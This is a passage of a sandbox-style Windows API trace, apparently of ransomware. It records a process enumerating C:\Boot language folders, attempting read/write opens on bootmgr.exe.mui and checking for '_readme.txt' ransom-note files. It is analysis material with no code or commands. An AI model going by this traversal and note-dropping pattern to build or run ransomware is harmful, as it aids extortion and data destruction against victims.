dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0066.879] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.879] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3287070 [0066.879] PathFindExtensionW (pszPath="C:\\Boot\\sv-SE\\bootmgr.exe.mui") returned=".mui" [0066.879] CreateFileW (lpFileName="C:\\Boot\\sv-SE\\bootmgr.exe.mui" (normalized: "c:\\boot\\sv-se\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0066.879] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb337cdf0, ftCreationTime.dwHighDateTime=0x1d54670, ftLastAccessTime.dwLowDateTime=0xb337cdf0, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb337cdf0, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x45c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 1 [0066.879] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.879] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3287070 [0066.879] PathFindExtensionW (pszPath="C:\\Boot\\sv-SE\\_readme.txt") returned=".txt" [0066.879] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb337cdf0, ftCreationTime.dwHighDateTime=0x1d54670, ftLastAccessTime.dwLowDateTime=0xb337cdf0, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb337cdf0, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x45c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 0 [0066.879] FindClose (in: hFindFile=0x31bee60 | out: hFindFile=0x31bee60) returned 1 [0066.879] PeekMessageW (in: lpMsg=0x38cff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cff08) returned 0 [0066.879] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x32602d0 [0066.879] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0066.879] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.879] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.879] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.879] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.879] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.879] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.879] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.879] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.879] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.879] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.879] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.879] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.880] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.880] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.880] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.880] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.880] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.880] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.880] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.880] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.880] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.880] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x3247f78 [0066.880] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.880] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.880] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.880] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.880] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc2e) returned 0x3177118 [0066.880] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.880] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.880] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.880] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.880] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.880] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.880] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.880] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.880] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x3247f78 [0066.880] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.880] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.880] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.880] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.880] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.880] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.880] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.880] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.880] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.880] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.880] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.881] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.881] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.881] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.881] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.881] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.881] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.881] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.881] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.881] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x3247f78 [0066.881] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.881] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.881] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.881] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x3247f78 [0066.881] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.881] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.881] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.881] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.881] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.881] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.881] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.881] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.881] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.881] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.881] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.881] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.881] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.881] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.881] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.881] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.881] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.881] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.881] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.881] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.882] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.882] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.882] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.882] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.882] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.882] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.882] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.882] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.882] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.882] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.882] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.882] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.882] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0066.882] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.882] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.882] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.882] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.882] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.882] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.882] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.882] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.882] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.882] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc2e) returned 0x3177118 [0066.882] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.882] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.882] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.882] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.882] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.882] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.882] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.882] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.882] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.882] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.883] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.883] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.883] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.883] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.883] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.883] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.883] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.883] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.883] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.883] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.883] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.883] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0066.883] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.883] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.883] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.883] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.883] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x3247f78 [0066.883] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.883] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.883] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.883] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x3247f78 [0066.883] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.883] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.883] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.883] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.883] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.883] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.883] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.883] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.883] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.883] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.883] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.883] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.884] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.884] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.884] PathFindFileNameW (pszPath="C:\\Boot\\tr-TR\\") returned="tr-TR\\" [0066.884] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0066.884] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325ff38 | out: hHeap=0x5d0000) returned 1 [0066.884] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0066.884] PathFindFileNameW (pszPath="") returned="" [0066.884] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75fd0000 [0066.884] GetProcAddress (hModule=0x75fd0000, lpProcName="SHGetFolderPathW") returned 0x76055708 [0066.884] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3178dd8 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0066.884] FreeLibrary (hLibModule=0x75fd0000) returned 1 [0066.884] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.884] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.884] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.884] PathAppendW (in: pszPath="C:\\Boot\\tr-TR\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\tr-TR\\_readme.txt") returned 1 [0066.885] PathFileExistsW (pszPath="C:\\Boot\\tr-TR\\_readme.txt") returned 1 [0066.885] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.885] FindFirstFileW (in: lpFileName="C:\\Boot\\tr-TR\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xb337cdf0, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb337cdf0, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31bee60 [0066.885] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.885] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xb337cdf0, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb337cdf0, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.885] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8393ab6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15440, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0066.885] PathFindExtensionW (pszPath="C:\\Boot\\tr-TR\\bootmgr.exe.mui") returned=".mui" [0066.885] CreateFileW (lpFileName="C:\\Boot\\tr-TR\\bootmgr.exe.mui" (normalized: "c:\\boot\\tr-tr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0066.885] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3287028 | out: hHeap=0x5d0000) returned 1 [0066.885] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb337cdf0, ftCreationTime.dwHighDateTime=0x1d54670, ftLastAccessTime.dwLowDateTime=0xb337cdf0, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb337cdf0, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x45c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 1 [0066.885] PathFindExtensionW (pszPath="C:\\Boot\\tr-TR\\_readme.txt") returned=".txt" [0066.885] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3287028 | out: hHeap=0x5d0000) returned 1 [0066.885] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb337cdf0, ftCreationTime.dwHighDateTime=0x1d54670, ftLastAccessTime.dwLowDateTime=0xb337cdf0, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb337cdf0, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x45c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 0 [0066.885] FindClose (in: hFindFile=0x31bee60 | out: hFindFile=0x31bee60) returned 1 [0066.885] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.885] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32602d0 | out: hHeap=0x5d0000) returned 1 [0066.885] PeekMessageW (in: lpMsg=0x38cff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cff08) returned 0 [0066.886] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0066.886] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.886] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.886] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.886] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.886] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.886] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.886] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.886] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.886] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.886] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.886] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.886] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.886] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.886] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.886] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.886] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, 